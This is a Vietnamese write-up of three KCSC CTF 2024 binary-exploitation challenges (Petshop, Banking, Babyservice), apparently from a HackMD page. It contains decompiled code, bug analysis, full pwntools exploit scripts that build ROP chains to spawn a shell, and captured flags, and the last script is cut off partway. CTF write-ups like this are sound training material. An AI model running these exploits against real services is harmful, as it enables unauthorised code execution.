---
# System prepended metadata

title: KCSC CTF 2024

---

# KCSC CTF 2024

## Petshop

### Phân tích chương trình

* Chương trình có `3` chức năng `buy`, `sell`, `info`

![Screenshot 2024-05-13 153000](https://hackmd.io/_uploads/SkYhyIJXC.png)

* `buy`

![Screenshot 2024-05-13 153119](https://hackmd.io/_uploads/SyLklIJQ0.png)

* Từ truy vấn của người dùng lấy ra `1` string và `1` số
* String này buộc phải là `cat` hoặc `dog`
* `num` là index để lấy tên của `cat` hoặc `dog` trong `2` mảng `cats` và `dogs`

![Screenshot 2024-05-13 153358](https://hackmd.io/_uploads/HJmKxIkXR.png)

* Biến `num` ở đây là `int` nên có thể truyền tham số âm để bypass check --> `OOB`
* Struct của `pet` được lưu trong `pet_list`

![Screenshot 2024-05-13 153505](https://hackmd.io/_uploads/ry3Cx8kmR.png)

* Chỉ là `2` string

* `sell`

![Screenshot 2024-05-13 153623](https://hackmd.io/_uploads/Hk9GWI1X0.png)

* Nó nhận tham số là index để clear phần tử trong `pet_list`
* Sau đó nó yêu cầu nhập `size` và dùng `size` đó cho hàm `fgets` bên dưới với `1` stack buffer

![Screenshot 2024-05-13 153647](https://hackmd.io/_uploads/ryndWLk7R.png)

* Lệnh `checksec` thì mình thấy nó không có canary thì mình đã nghĩ là bug stack overflow rồi và nhìn hàm `sell` rõ là có vấn đề nên mình nghĩ bug chỉ có thể ở đây thôi
* Tuy vậy không thể bypass check bằng cách cho `n < 0` được
* Ở đây ta thấy nó cần có điều kiện là `scanf` phải trả về `1` nữa, nên nếu `scanf` fail và trả về `0` thì sẽ bypass được
* Mình chỉ cần đưa vào `1` ký tự không phải số chẳng hạn `aaaa` thì `scanf` sẽ trả về `0` và `n` sẽ vẫn là `1` gíá trị rác trên stack vì nó không được khởi tạo --> stack overflow

* `info`

![Screenshot 2024-05-13 154150](https://hackmd.io/_uploads/ByALfIk70.png)

* Chỉ đơn giản là in hết tất cả trong `pet_list` hoặc `cats`, `dogs`

### Khai thác
* Từ bug `OOB` thì mình có thể dùng để leak
* Ở trước `cats` và `dogs` có `1` con trỏ trỏ đến chính nó là `1` địa chỉ binary

![Screenshot 2024-05-13 154302](https://hackmd.io/_uploads/SJshf8kQA.png)

* Từ đó thì mình có binary rồi thì build rop chain nữa là được


![Screenshot 2024-05-13 154717](https://hackmd.io/_uploads/rJSsQ81XA.png)

```py=
#!/usr/bin/python3
from pwn import *

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()


elf = context.binary = ELF('petshop')
libc = ELF('libc-2.31.so')

def int_from_bytes(bytes):
    return int.from_bytes(bytes, byteorder='little')

def buy(type, idx_name, name):
    sla(b'-->', b'buy ' + type + b' ' + str(idx_name).encode())
    sla(b'name?', name)
def sell(idx, size, reason = None):
    sla(b'-->', b'sell ' + str(idx).encode())
    sla(b'reason', str(size).encode())
    if reason != None:
        sla(b'reason', reason)

def GDB(proc):
    gdb.attach(p, gdbscript='''
               b *(sell + 245)
               b *(sell + 367)
               b buy
               c
               ''')


#context.log_level = 'debug'
#p = process()
p = remote('103.163.24.78', 10001)
buy(b'dog', -6, b'hihih')
sla(b'-->', b'info mine')
ru(b'pets:')
ru(b'1. ')
leak = rl()[:-1]
leak = int_from_bytes(leak)
elf.address = leak - 0x4008
POP_RDI = 0x0000000000001a13 + elf.address#: pop rdi ; ret
POP_R15 = 0x0000000000001a11 + elf.address#pop rsi ; pop r15 ret



print('elf: ', hex(elf.address))
print('leak: ', hex(leak))
sell(0, 0x1000)
buy(b'dog', 1, b'\x0f'*0x3f0)
sla(b'-->', b'sell 1')

payload = flat(
    POP_RDI, 
    elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main']
)
sla(b'reason?', b'a'*0x209 + payload)
ru(b'sonable!\n')
leak = rl()[:-1]
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
libc.address = leak - libc.symbols['puts']
print('libc: ', hex(libc.address))
#GDB(p)

buy(b'dog', 1, b'\x0f'*0x3f0)
sla(b'-->', b'sell 2')
payload = flat(
    POP_RDI,
    next(libc.search(b'/bin/sh')),
    POP_RDI + 1,
    libc.symbols['system']
)
sla(b'reason?', b'a'*0x209 + payload)

#sla(b'reason', b'A'*0x500)




#KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
p.interactive()
```

## Banking

### Phân tích chương trình

* Ban đầu chương trình cho `3` option

![Screenshot 2024-05-13 154750](https://hackmd.io/_uploads/BkFRmL1m0.png)

* `login`

![Screenshot 2024-05-13 154848](https://hackmd.io/_uploads/ry4-V8JX0.png)

* Nó check `account` và `password` dựa trên `2` biến global và nếu thỏa mãn thì trả về `true`
* `reg` là nơi chúng ta set giá trị `2` biến này

![Screenshot 2024-05-13 154945](https://hackmd.io/_uploads/BkLrE8JQC.png)

* Sau khi login chúng ta có `4` option

![Screenshot 2024-05-13 155020](https://hackmd.io/_uploads/B1QPVIkmR.png)

* `Deposit`

![Screenshot 2024-05-13 155049](https://hackmd.io/_uploads/Bk1Y4U1X0.png)

* Người dùng nhập `1` số và cộng vào biến `money`
* `withdraw`

![Screenshot 2024-05-13 155131](https://hackmd.io/_uploads/HJjiNLJXA.png)

* Người dùng nhập `1` số và trừ khỏi `money` nếu số đó bé hơn `money`
* `info` 

![Screenshot 2024-05-13 155216](https://hackmd.io/_uploads/BJpTELyXR.png)

* Ta thấy được ngay bug `format string`

### Khai thác

* Ở đây là bug format string với `1` biến global nên mình phải tìm `1` giá trị stack trỏ đến `1` giá trị stack khác để overwrite địa trỉ trả về của `main`

![Screenshot 2024-05-13 155626](https://hackmd.io/_uploads/BkApr8yQR.png)

* Địa chỉ `0x00007ffeceaae790` ở `0x7ffeceaae6b0` trỏ đến `0x00007ffeceaae8e8` với `2` offset tương ứng trong format string là `13` và `40`
* Từ đó thì mình build rop chain thôi

![Screenshot 2024-05-13 155423](https://hackmd.io/_uploads/SJ1m8Lym0.png)

```py=
#!/usr/bin/python3
from pwn import *

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()


elf = context.binary = ELF('banking')
libc = ELF('libc.so.6')

def int_from_bytes(bytes):
    return int.from_bytes(bytes, byteorder='little')
def reg(name, pw, fullname):
    sla(b'>', b'2')
    sla(b'name', name)
    sla(b'word', pw)
    sla(b'name', fullname)
    sla(b'>', b'1')
    sla(b'name', name)
    sla(b'word', pw)
def info():
    sla(b'>', b'3')
def logout():
    sla(b'>', b'4')
def gen_fmstr(addr, value):
    payload = b''
    if addr & 0xffff != 0:
        payload += b'%' + str(addr & 0xffff).encode() + b'c'
    payload += b'%13$hn'
    tmp = addr & 0xff
    if tmp > value:
        need = value + 0x100 - tmp
    else:
        need = value - tmp
    payload += b'%' + str(need).encode() + b'c' + b'%40$lln'
    return payload
def fmstr(offset, value):
    if value != 0:
        payload = f'%{value}c%{offset}$hn'.encode()
    else:
        payload = b'hihi'
    return payload
def GDB(proc):
    gdb.attach(p, gdbscript='''
               b info
               b *(main + 84)
               c
               ''')
#context.log_level = 'debug'
p = process()
#p = remote('103.163.24.78', 10002)
reg(b'nao', b'nao', b'%p|'*0x10)
info()
ru(b'|')
leak = ru(b'|')[:-1]
leak = int(leak.decode(), 16)
print('leak: ', hex(leak))
libc.address = leak - 0x1f6b24
print('libc: ', hex(libc.address))
for i in range(3):
    ru(b'|')
leak = ru(b'|')[:-1]
leak = int(leak.decode(), 16)
print('leak: ', hex(leak))
stack_main = leak + 0x28
print('stack: ', hex(stack_main))

GDB(p)

logout()
sla(B'eedback:', b'hihi')
reg(b'nao', b'nao', b'%13$p|%40$p')
info()
RET = 0x00000000000b9ba9 + libc.address#: xor rax, rax ; ret

rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
rop = rop.chain()
print(rop)
for i in range(len(rop)):
    logout()
    sla(B'eedback:', b'hihi')
    pl = fmstr(13, stack_main & 0xffff)
    reg(b'nao', b'nao', pl)
    info()
    logout()
    sla(B'eedback:', b'hihi')
    pl = fmstr(40, rop[i])
    reg(b'nao', b'nao', pl)
    info()
    stack_main += 1
logout()
sl(b'hihi')
sla(b'>', b'3')

#KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}


p.interactive()
```

## Babyservice

* Bài này thì mình không giải kịp trước khi kết thúc giải nhưng thôi cứ viết writeup vậy 

![353046855_663734792237703_1475682602241096410_n](https://hackmd.io/_uploads/S1CFUL1QC.jpg)

### Phân tích chương trình

* Khởi đầu hàm `main` có gọi vài hàm để setup
![Screenshot 2024-05-13 160108](https://hackmd.io/_uploads/SJxxDLJXA.png)

* Hàm `create_pipe`

```cpp=
unsigned __int64 create_pipe()
{
  int pipedes[2]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(14, (__sighandler_t)handler);
  output = (char *)malloc(0x10000uLL);
  if ( pipe(pipedes) < 0 )
  {
    puts("[-] Failed to create pipe 1!");
    exit(1);
  }
  fd1_read = pipedes[0];
  fd1_write = pipedes[1];
  if ( pipe(pipedes) < 0 )
  {
    puts("[-] Failed to create pipe 2!");
    exit(1);
  }
  fd2_read = pipedes[0];
  fd2_write = pipedes[1];
  arg_1_2 = (arg_struct *)malloc(8uLL);
  arg_1_2->read = fd1_read;
  arg_1_2->write = fd2_write;
  if ( pipe(pipedes) < 0 )
  {
    puts("[-] Failed to create pipe 1!");
    exit(1);
  }
  fd3_read = pipedes[0];
  fd3_write = pipedes[1];
  if ( pipe(pipedes) < 0 )
  {
    puts("[-] Failed to create pipe 2!");
    exit(1);
  }
  fd4_read = pipedes[0];
  fd4_write = pipedes[1];
  arg3_4 = (arg_struct *)malloc(8uLL);
  arg3_4->read = fd3_read;
  arg3_4->write = fd4_write;
  if ( pipe(pipedes) < 0 )
  {
    puts("[-] Failed to create pipe 1!");
    exit(1);
  }
  fd5_read = pipedes[0];
  fd5_write = pipedes[1];
  if ( pipe(pipedes) < 0 )
  {
    puts("[-] Failed to create pipe 2!");
    exit(1);
  }
  fd6_read = pipedes[0];
  fd6_write = pipedes[1];
  arg5_6 = (arg_struct *)malloc(8uLL);
  arg5_6->read = fd5_read;
  arg5_6->write = fd6_write;
  pthread_create(&newthread, 0LL, (void *(*)(void *))routine1, arg_1_2);
  pthread_create(&thread2, 0LL, (void *(*)(void *))routine2, arg3_4);
  pthread_create(&thread3, 0LL, (void *(*)(void *))routine3, arg5_6);
  return __readfsqword(0x28u) ^ v2;
}
```

* Hàm này khởi tạo các `pipe`, các `pipe` này tương ứng là để tương tác với `3` thread `routine1`, `routine2`, `routine3`
* Hàm `create_socket` chỉ khởi tạo `socket`
* Chương trình nhận `request` qua port `8888`

![Screenshot 2024-05-13 160411](https://hackmd.io/_uploads/H1siwLJ7C.png)

* `4` bytes đầu của `request` đầu tiên là option để chúng ta tương tác với `3` thread tương ứng
* Hàm `read_one`

![Screenshot 2024-05-13 160546](https://hackmd.io/_uploads/r13l_8ymA.png)

* Nó sẽ đọc tới max là `0x10000` và `realloc` chunk chứa `input` của người dùng và trả về `size` của `request`
* Hàm `handle_req`

```cpp=
size_t handle_req()
{
  size_t result; // rax
  char *v1; // rax
  char *v2; // rax

  if ( request == 3 )
  {
    write_to_fd((unsigned int)fd5_write, input, (unsigned int)size_so_far);
    read_to_chunk((unsigned int)fd6_read, output, &size_glob_read6);
    result = (unsigned int)size_glob_read6;
    if ( size_glob_read6 )
      return result;
    goto err;
  }
  if ( (unsigned int)request <= 3 )
  {
    if ( request == 1 )
    {
      write_to_fd((unsigned int)fd1_write, input, (unsigned int)size_so_far);
      read_to_chunk((unsigned int)fd2_read, output, &size_glob_read6);
      result = (unsigned int)size_glob_read6;
      if ( size_glob_read6 )
        return result;
    }
    else
    {
      if ( request != 2 )
        goto invalid;
      write_to_fd((unsigned int)fd3_write, input, (unsigned int)(size_so_far - 4));
      read_to_chunk((unsigned int)fd4_read, output, &size_glob_read6);
      result = (unsigned int)size_glob_read6;
      if ( size_glob_read6 )
        return result;
    }
err:
    v1 = output;
    *(_QWORD *)output = 0x6F206F4E205D2A5BLL;
    strcpy(v1 + 8, "utput\n");
    result = strlen(output);
    size_glob_read6 = result;
    return result;
  }
invalid:
  v2 = output;
  *(_QWORD *)output = 0x61766E49205D2D5BLL;
  strcpy(v2 + 8, "lid function\n");
  result = strlen(output);
  size_glob_read6 = result;
  return result;
}
```

* Đơn giản là chuyển `request` của chúng ta cho các thread tương ứng
* Thread `routine1`, thread này xử lí `brainfuck`

```cpp=
void __fastcall __noreturn start_routine(arg_struct *arg_1_2)
{
  void *buf; // [rsp+18h] [rbp-18h]
  struct pollfd fds; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  input_routine1 = malloc(0x1000uLL);
  while ( 1 )
  {
    fds.fd = arg_1_2->read;
    fds.events = 1;
    if ( poll(&fds, 1uLL, -1) == -1 )
      break;
    if ( (fds.revents & 1) != 0 )
    {
      LODWORD(nbytes_routine1) = 0;
      memset(input_routine1, 0, 0x1000uLL);
      read(arg_1_2->read, &nbytes_routine1, 4uLL);
      if ( (unsigned int)nbytes_routine1 <= 0x1000 )
      {
        read(arg_1_2->read, input_routine1, (unsigned int)nbytes_routine1);
        if ( (unsigned int)check_haystack() )
        {
          handle1();
          write_to_chunk((unsigned int)arg_1_2->write, chunk_routine1_output, (unsigned int)size);
        }
        else
        {
          write_to_chunk((unsigned int)arg_1_2->write, "[-] Invalid format!\n", 20LL);
        }
        free_output_reset();
      }
      else
      {
        buf = malloc(0x10000uLL);
        read(arg_1_2->read, buf, (unsigned int)nbytes_routine1);
        memset(buf, 0, 0x10000uLL);
        free(buf);
        write_to_chunk((unsigned int)arg_1_2->write, "[-] Size too large!\n", 20LL);
        free_output_reset();
      }
    }
  }
  perror("[-] poll failed");
  exit(0);
}
```
* Hàm `checkhaystack`

![Screenshot 2024-05-13 160917](https://hackmd.io/_uploads/rkOCuLyQ0.png)

![Screenshot 2024-05-13 160923](https://hackmd.io/_uploads/BJ2AdIyXR.png)

* Vậy input của người dùng chỉ có thể bao gồm `+-<>[].,`
* Hàm xử lí `handle1`

```cpp=
unsigned __int64 sub_221C()
{
  signed int i_1; // [rsp+8h] [rbp-1018h]
  unsigned int i; // [rsp+Ch] [rbp-1014h]
  __int64 buf[513]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(buf, 0, 4096);
  i_1 = 0;
  for ( i = 0; (unsigned int)nbytes_routine1 > i && input_routine1[i]; ++i )
  {
    switch ( input_routine1[i] )
    {
      case '+':
        if ( (unsigned int)i_1 <= 0xFFF )
          ++*((_BYTE *)buf + i_1);
        break;
      case '-':
        if ( (unsigned int)i_1 <= 0xFFF )
          --*((_BYTE *)buf + i_1);
        break;
      case '.':
        if ( (unsigned int)size <= 0x1000 )
        {
          LODWORD(size) = size + 1;
          chunk_routine1_output = realloc(chunk_routine1_output, (unsigned int)size);
          *((_BYTE *)chunk_routine1_output + (unsigned int)(size - 1)) = *((_BYTE *)buf + i_1);
        }
        break;
      case '<':
        --i_1;
        break;
      case '>':
        ++i_1;
        break;
      case '[':
        if ( !*((_BYTE *)buf + i_1) )
        {
          do
            ++i;
          while ( input_routine1[i] != ']' );
        }
        break;
      case ']':
        do
          --i;
        while ( input_routine1[i + 1] != '[' );
        break;
      default:
        continue;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
```
* Ở đây ta thấy `.` ghi vào `output` thì không check biến `i_1` mà chỉ check `size` nên có thể `OOB` để leak chứ không thể ghi
* Đó là tất cả mình thấy ở thread này
* Thread `routine2` là thread xử lí `base64` encode và decode

```cpp=
void __fastcall __noreturn routine2(arg_struct *a1)
{
  _BYTE *v1; // rbx
  unsigned __int16 size; // [rsp+16h] [rbp-2Ah]
  __int64 size_1; // [rsp+18h] [rbp-28h] BYREF
  struct pollfd fds; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  while ( 1 )
  {
    fds.fd = a1->read;
    fds.events = 1;
    if ( poll(&fds, 1uLL, -1) == -1 )
      break;
    if ( (fds.revents & 1) != 0 )
    {
      opcode = 0;
      size_routine2_input = 0;
      input_buf_routine2 = 0LL;
      read(a1->read, &size_routine2_input, 4uLL);
      size = size_routine2_input + 1;
      if ( (unsigned __int16)(size_routine2_input + 1) <= 0x400u )
      {
        input_buf_routine2 = malloc(size);
        read(a1->read, &opcode, 4uLL);
        v1 = input_buf_routine2;
        v1[read(a1->read, input_buf_routine2, (unsigned __int16)(size - 1))] = 0;
        if ( (unsigned int)opcode < 2 )
        {
          if ( opcode )
          {
            if ( opcode == 1 )
              out_routine2 = (void *)encode(input_buf_routine2, &size_1);
          }
          else
          {
            out_routine2 = (void *)decode(input_buf_routine2, &size_1, (unsigned int)a1->write);
          }
          if ( out_routine2 )
          {
            write_to_chunk(a1->write, out_routine2, size_1);
            free(out_routine2);
          }
          free(input_buf_routine2);
          out_routine2 = 0LL;
          input_buf_routine2 = 0LL;
        }
        else
        {
          write_to_chunk(a1->write, "[-] Invalid function!\n", 0x16u);
        }
      }
      else
      {
        write_to_chunk(a1->write, "[-] Invalid size!\n", 0x12u);
      }
    }
  }
  perror("[-] poll failed");
  exit(0);
}
```
* Ở hàm `encode` nhận địa chỉ của biến `size_1` và sẽ set biến này thành size của kết quả decode

![Screenshot 2024-05-13 161259](https://hackmd.io/_uploads/BJ8TtIy7A.png)

* Ấy vậy mà khi mà `decode` thì chương trình lại sử dụng lại giá trị đó

![Screenshot 2024-05-13 161417](https://hackmd.io/_uploads/rJOeqUy7A.png)

* Dẫn tới việc `OOB` trên heap
* Đoạn code overflow

![Screenshot 2024-05-13 161454](https://hackmd.io/_uploads/BylXcLJ7C.png)
* Cuối cùng là thread `routine3` là thực thi `shellcode`
* Thread này sử dụng `1` mảng `6` phần tử để mô phỏng thanh ghi

![Screenshot 2024-05-13 161634](https://hackmd.io/_uploads/S1RKqL170.png)
* Hàm thực thi `shellcode`

```cpp=
__int64 run_shellcode()
{
  __int64 v0; // rax
  __int64 v1; // rbx
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rbx
  __int64 v8; // rax
  __int64 v9; // rax
  unsigned __int64 v10; // rbx
  unsigned __int64 v11; // rax
  unsigned __int64 v12; // rax
  __int64 v13; // rbx
  char v14; // al
  __int64 v15; // rax
  unsigned __int64 v16; // rbx
  char v17; // al
  unsigned __int64 v18; // rax
  __int64 v19; // rbx
  __int64 v20; // rax
  __int64 v21; // rax
  __int64 v22; // rbx
  __int64 v23; // rax
  __int64 v24; // rax
  __int64 v25; // rbx
  __int64 v26; // rax
  char v27; // al
  __int64 size_1; // rbx
  const char *value_arr; // rax
  __int64 v30; // rbx
  const void *v31; // rax
  __int64 result; // rax
  unsigned int i; // [rsp+Ch] [rbp-14h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)count_routine3;
    if ( i >= count_routine3 )
      break;
    *(_DWORD *)opcode_routine3 = *(_DWORD *)&input_routine3[4 * i];
    if ( opcode_routine3[0] > 0x19u )
    {
      if ( opcode_routine3[0] == '\x7F' && get_value_arr(16) == 1 && get_value_arr(20) == 1 )
      {
        size_1 = (unsigned int)outsize_routine3;
        if ( (unsigned __int64)(size_1 + get_value_arr(19)) <= 0xFFFF )
        {
          value_arr = (const char *)get_value_arr(21);
          open(value_arr, 0, 0LL);
          if ( *__errno_location() != 14 )
          {
            v30 = get_value_arr(19);
            v31 = (const void *)get_value_arr(21);
            memcpy(out_routine3, v31, v30);
            outsize_routine3 += get_value_arr(19);
          }
        }
      }
    }
    else if ( opcode_routine3[0] >= 0x10u )
    {
      switch ( opcode_routine3[0] )
      {
        case 0x10:
          if ( opcode_routine3[2] == '\x7F' )
          {
            set_glob_routine3(opcode_routine3[1], opcode_routine3[3]);
          }
          else
          {
            v0 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v0);
          }
          break;
        case 0x11:
          if ( opcode_routine3[2] == '\x7F' )
          {
            v3 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v3 + opcode_routine3[3]);
          }
          else
          {
            v1 = get_value_arr(opcode_routine3[1]);
            v2 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v1 + v2);
          }
          break;
        case 0x12:
          if ( opcode_routine3[2] == '\x7F' )
          {
            v6 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v6 - opcode_routine3[3]);
          }
          else
          {
            v4 = get_value_arr(opcode_routine3[1]);
            v5 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v4 - v5);
          }
          break;
        case 0x13:
          if ( opcode_routine3[2] == 127 )
          {
            v9 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v9 * opcode_routine3[3]);
          }
          else
          {
            v7 = get_value_arr(opcode_routine3[1]);
            v8 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v8 * v7);
          }
          break;
        case 0x14:
          if ( opcode_routine3[2] == '\x7F' )
          {
            v12 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v12 / opcode_routine3[3]);
          }
          else
          {
            v10 = get_value_arr(opcode_routine3[1]);
            v11 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v10 / v11);
          }
          break;
        case 0x15:
          if ( opcode_routine3[2] == '\x7F' )
          {
            v15 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v15 << opcode_routine3[3]);
          }
          else
          {
            v13 = get_value_arr(opcode_routine3[1]);
            v14 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v13 << v14);
          }
          break;
        case 0x16:
          if ( opcode_routine3[2] == 127 )
          {
            v18 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v18 >> opcode_routine3[3]);
          }
          else
          {
            v16 = get_value_arr(opcode_routine3[1]);
            v17 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v16 >> v17);
          }
          break;
        case 0x17:
          if ( opcode_routine3[2] == 127 )
          {
            v21 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v21 | opcode_routine3[3]);
          }
          else
          {
            v19 = get_value_arr(opcode_routine3[1]);
            v20 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v20 | v19);
          }
          break;
        case 0x18:
          if ( opcode_routine3[2] == 127 )
          {
            v24 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], v24 ^ opcode_routine3[3]);
          }
          else
          {
            v22 = get_value_arr(opcode_routine3[1]);
            v23 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v23 ^ v22);
          }
          break;
        case 0x19:
          if ( opcode_routine3[2] == 127 )
          {
            v27 = get_value_arr(opcode_routine3[1]);
            set_glob_routine3(opcode_routine3[1], (unsigned __int8)(v27 & opcode_routine3[3]));
          }
          else
          {
            v25 = get_value_arr(opcode_routine3[1]);
            v26 = get_value_arr(opcode_routine3[2]);
            set_glob_routine3(opcode_routine3[1], v26 & v25);
          }
          break;
        default:
          continue;
      }
    }
  }
  return result;
}
```

* `2` hàm `get_value_arr` và `set_value_arr` là đọc và ghi lên thanh ghi

```cpp=
__int64 __fastcall get_value_arr(int num)
{
  __int64 result; // rax
  int dec_time; // [rsp+14h] [rbp-4h]

  dec_time = 0;
  while ( num > 21 )
  {
    num -= 6;
    ++dec_time;
  }
  result = (unsigned int)(num - 16);
  switch ( num )
  {
    case 16:
      result = return_Arg1(arr_routine3[0], dec_time);
      break;
    case 17:
      result = return_Arg1(arr_routine3[1], dec_time);
      break;
    case 18:
      result = return_Arg1(arr_routine3[2], dec_time);
      break;
    case 19:
      result = return_Arg1(arr_routine3[3], dec_time);
      break;
    case 20:
      result = return_Arg1(arr_routine3[4], dec_time);
      break;
    case 21:
      result = return_Arg1(arr_routine3[5], dec_time);
      break;
    default:
      return result;
  }
  return result;
}
```

```cpp=
__int64 __fastcall return_Arg1(__int64 num, int dec_time)
{
  __int64 result; // rax

  if ( dec_time == 3 )
    return (unsigned __int8)num;
  if ( dec_time <= 3 )
  {
    if ( dec_time == 2 )
    {
      return (unsigned __int16)num;
    }
    else if ( dec_time )
    {
      if ( dec_time == 1 )
        return (unsigned int)num;
    }
    else
    {
      return num;
    }
  }
  return result;
}
```

* Dựa trên index mà lấy thanh ghi tương ứng và kiểu dữ liệu `1`, `2`, `4` hoặc `8` bytes
* Shellcode chủ yếu là thực hiện các phép toán giữa `2` số không có gì đặc biệt (chắc vậy 😓)
* Còn nữa là có thể mở `1` file bất kì

![Screenshot 2024-05-13 154636](https://hackmd.io/_uploads/B1mIJv17C.png)


* Mà mình cũng chả đụng gì đến thread này nên kệ vậy

### Khai thác

* Từ bug ở thread `brainfuck` để leak `elf`, `libc`. Mình có leak cả `stack` nữa nhưng cuối cùng cũng không để làm gì nhưng mà tại vì lười sửa script nên mình để kệ
* Ở thread `base64` mình sử dụng bug để overwrite tcache `0x25` thành `__free_hook`
* Trước hết là mình sử dụng bug đó để leak `heap base` của thread `2`
* Vì nó sẽ in ra theo cái `size` bị sử dụng lại nên lúc in sẽ bị in tràn. Dựa theo giá trị heap trên tcache của `0x25` để mình leak `heap` luôn
* Bài này mình setup heap rất nhiều để xây dựng ropchain vì không thể cứ gọi `one_gadget` vì sẽ không thể tương tác với chương trình qua `stdin`, `stdout` mà mình chỉ có oneshot gadget với `__free_hook`
* Khi trigger được hàm ở `__free_hook` mình check thông tin các thanh ghi xem có gì dùng được không

![Screenshot 2024-05-13 162851](https://hackmd.io/_uploads/BktP6I1XC.png)

![Screenshot 2024-05-13 162900](https://hackmd.io/_uploads/HkTvpIJQC.png)

* Chỉ có `rbx` là trỏ đến nơi mà mình có thể control được vì mấy giá trị kia trỏ đến chunk mà mình overwrite `__free_hook` mà mình overwrite với chunk `0x25` nên cũng không control được là bao
* Sau khi (rất lâu) mò mẫm gadgets thì mình đã có thể build được ropchain với các gadgets

```py=
CALL_RAX = 0x0000000000146e72 + libc.address#: mov rax, qword ptr [rbx + 0x20] ; mov rdi, rbp ; call qword ptr [rax + 0x20]
MOV_RDX = 0x000000000010d18b + libc.address #: mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
MOV_RSP_RDX = 0x000000000005b4d0 + libc.address#: mov rsp, rdx ; ret
```
* Mình có thể controll được `[rbx + 0x20]`, nó là cái đoạn mà mình overwrite tcache `0x25`, mình set cho `rax` là `1` cái chunk trên heap mà mình setup sẵn để rồi set `rdx` rồi `pivot`
* Ban đầu mình sử dụng `reverse shell` nhưng mà có lẽ chương trình không có `python3` hay gì đó mà khi chạy trên server thì không được
* Mình phải `dup2` `socket` về `stdin`, `stdout` rồi chạy `system("/bin/sh")`

![Screenshot 2024-05-13 103749](https://hackmd.io/_uploads/HJUnR8JmA.png)

* Script mình xấu vì khi đó sắp hết giờ nên làm vội với mình cũng không sửa đoạn `reverse shell` nên hơi khó đọc
```py=
#!/usr/bin/python3
from pwn import *
import base64

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()


elf = context.binary = ELF('chall')
libc = ELF('./glibc/libc.so.6')

def int_from_bytes(bytes):
    return int.from_bytes(bytes, byteorder='little')
def req1(data):
    sl(p32(1) + data)
def req2(size, type, data):
    sl(p32(2) + p32(type) + data)
def req3(size, data):
    sl(p32(3) + p32(size) + data)

def GDB(proc):
    gdb.attach(p, gdbscript='''
               b *((void*)&stdout - 0x3bf2)
               b *((void*)&stdout - 0x3c3e) # option '.'
               b *((void*)&stdout - 0x406b) # read routine2
               b *((void*)&stdout - 0x2e82) # read routine3
             b *((void*)&stdout - 0x2ea1) # read size routine3
            b *((void*)&stdout - 0x3f72) # decode base64
            b *((void*)&stdout - 0x3fe0) # routine2
            b *((void*)&stdout - 0x43b9) # decode
            b *((void*)&stdout - 0x42ae) # malloc1
            b *((void*)&stdout - 0x4028) # malloc2
               b *((void*)&stdout - 0x455e)
               b *((void*)&stdout - 0x47d4) #decode
               c
               ''')


#context.log_level = 'debug'
p = remote('0', 8888)
#p = remote('103.163.24.78', 2907)

req1(b'<'*0x19 + b'>.'*8)
leak = r(8)
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
elf.address = leak - 0x23fb
print('elf: ', hex(elf.address))

req1(b'<'*0x29 + b'>.'*8)
leak = r(8)
leak = int_from_bytes(leak)
print('leak: ', hex(leak))
stack = leak

req1(b'<'*0x6a + b'>.'*8 + b'+')
leak = r(8)
leak = int_from_bytes(leak)
leak = leak >> 8
print('leak: ', hex(leak))
